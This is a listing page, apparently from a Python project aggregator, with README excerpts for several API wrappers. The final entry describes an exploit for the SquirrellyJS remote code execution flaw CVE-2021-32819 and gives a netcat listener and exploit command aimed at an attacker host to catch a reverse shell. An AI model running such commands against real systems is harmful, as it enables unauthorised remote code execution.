Spotify Web API client for Python 3

tekore Welcome to the GitHub repository of Tekore! We provide a client for the Spotify Web API for Python, complete with all available endpoints and authentication methods, async support and loads of additional features. Tekore allows you to interact with the API effortlessly. Here’s five lines to get you full access and start playing your top songs. import tekore as tk conf = (client_id, client_secret, redirect_uri) token = tk.prompt_for_user_token(*conf, scope=tk.scope.every) spotify = tk.Spotify(token) tracks = spotify.current_user_top_tracks(limit=10) spotify.playback_start_tracks([t.id for t in […]

Read more

An easy-to-use and convenient Python wrapper for the Petfinder API

Petpy Petpy is an easy-to-use and convenient Python wrapper for the Petfinder API. Includes methods for parsing output JSON into pandas DataFrames for easier data analysis Installation petpy is easily installed through pip. pip install petpy The library can also be cloned or downloaded into a location of your choosing and then installed using the setup.pyfile per the following: git clone [email protected]:aschleg/petpy.git cd petpy python setup.py install Examples and usage An account must first be created with Petfinder to receive […]

Read more

A python package that provides access to the Fanduel API

Southpaw Southpaw is a python package that provides access to the Fanduel API, Fanduel Sportsbook, and custom lineup optimizers. Installation Install via PyPi python -m pip install southpaw Example Usage Authenticate with Fanduel southpaw.get_x_auth_token_and_user_id(email, password) Create headers with your auth token southpaw.get_fanduel_headers_with_x_auth(x_auth_token, basic_auth_token) Get all upcoming contest for a user southpaw.get_upcoming_contests(user_id, fanduel_headers, sport=’any’) GitHub https://github.com/bcanfield/southpaw    

Read more

An API wrapper around the pythonanywhere’s API

pyaww An API wrapper around the pythonanywhere’s API. The name stands for pythonanywherewrapper. 100% API coverage Most of the codebase is documented & typehinted Maintained # import the module from pyaww.user import User # construct the user class client = User(auth=’…’, username=’…’) for console in client.consoles(): print(console.name) Please look at the documentations: https://ammarsys.github.io/pyaww-docs/ PyPi: https://pypi.org/project/pyaww # Linux/MacOS python3 -m pip install pyaww # Windows py -m pip install pyaww For the dev version, do: git clone https://github.com/ammarsys/pyaww cd pyaww GitHub […]

Read more

Develop and deploy applications with the Ionburst Cloud Python SDK

Ionburst SDK for Python The Ionburst SDK for Python enables developers to easily integrate with Ionburst Cloud, building in ultra-secure and private object storage to their applications. Getting Started Installation pip3 install ionburst-sdk-python # OR pip3 install ionburst-sdk-python –user Configuration The Ionburst SDK can get its configuration (ionburst_id, ionburst_key, ionburst_uri) from the following three files. If ionburst_id and ionburst_key are not specified by environment variable, they are obtained from the credentials file with information from the config.json file. If ionburst_uri […]

Read more

Lightweight Python library for Spurwing’s API

Spurwing API Python Library Lightweight Python library for Spurwing’s API. Spurwing’s API makes it easy to add robust scheduling and booking to your application. We power millions of appointment bookings for thousands of companies, from marketplaces to SaaS & healthcare. Learn more about the Spurwing Scheduling API. Account To use this API you need to obtain API credentials by signin up here: https://spurwing.io/ On your dashboard you will have the “API Info” page with your API key and Provider ID. […]

Read more

Python Client for Algorithmia Algorithms and Data API

Algorithmia Common Library (python) Python client library for accessing the Algorithmia API For API documentation. Algorithm Development Kit This package contains the algorithmia-adk development kit, simply add from Algorithmia import ADK into your workflow to access it. Install from PyPi The official Algorithmia python client is available on PyPi.Install it with pip: pip install algorithmia Install from source Build algorithmia client wheel: python setup.py bdist_wheel Install a wheel manually: pip install –user –upgrade dist/algorithmia-*.whl from directory containing setup.py and the […]

Read more

A collection of metrics for evaluating timbre dissimilarity using the TorchMetrics API

A collection of metrics for evaluating timbre dissimilarity using the TorchMetrics API Installation pip install -e . Usage import timbremetrics datasets = timbremetrics.list_datasets() dataset = datasets[0] # get the first timbre dataset # MAE between target dataset and pred embedding distances metric = timbremetrics.TimbreMAE( margin=0.0, dataset=dataset, distance=timbremetrics.l1 ) # get numpy audio for the timbre dataset audio = timbremetrics.get_audio(dataset) # get arbitrary embeddings for the timbre dataset’s audio embeddings = net(audio) # compute the metric metric(embeddings) Metrics The following metrics […]

Read more

SquirrellyJS mixes pure template data with engine configuration options through the Express render API

CVE-2021-32819 CVE-2021-32819 : SquirrellyJS mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuration options, remote code execution may be triggered in downstream applications. Source https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/ Analysis https://blog.diefunction.io/vulnerabilities/ghsl-2021-023 squirrelly v8.0.0 >= v8.0.8 Remote Code Execution Environment Ubuntu 20.04.1 Example nc -lvp 443 python3 exploit.py http://example.com/ ATTACKER_HOST 443 GitHub https://github.com/Abady0x1/CVE-2021-32819    

Read more
1 2 3 4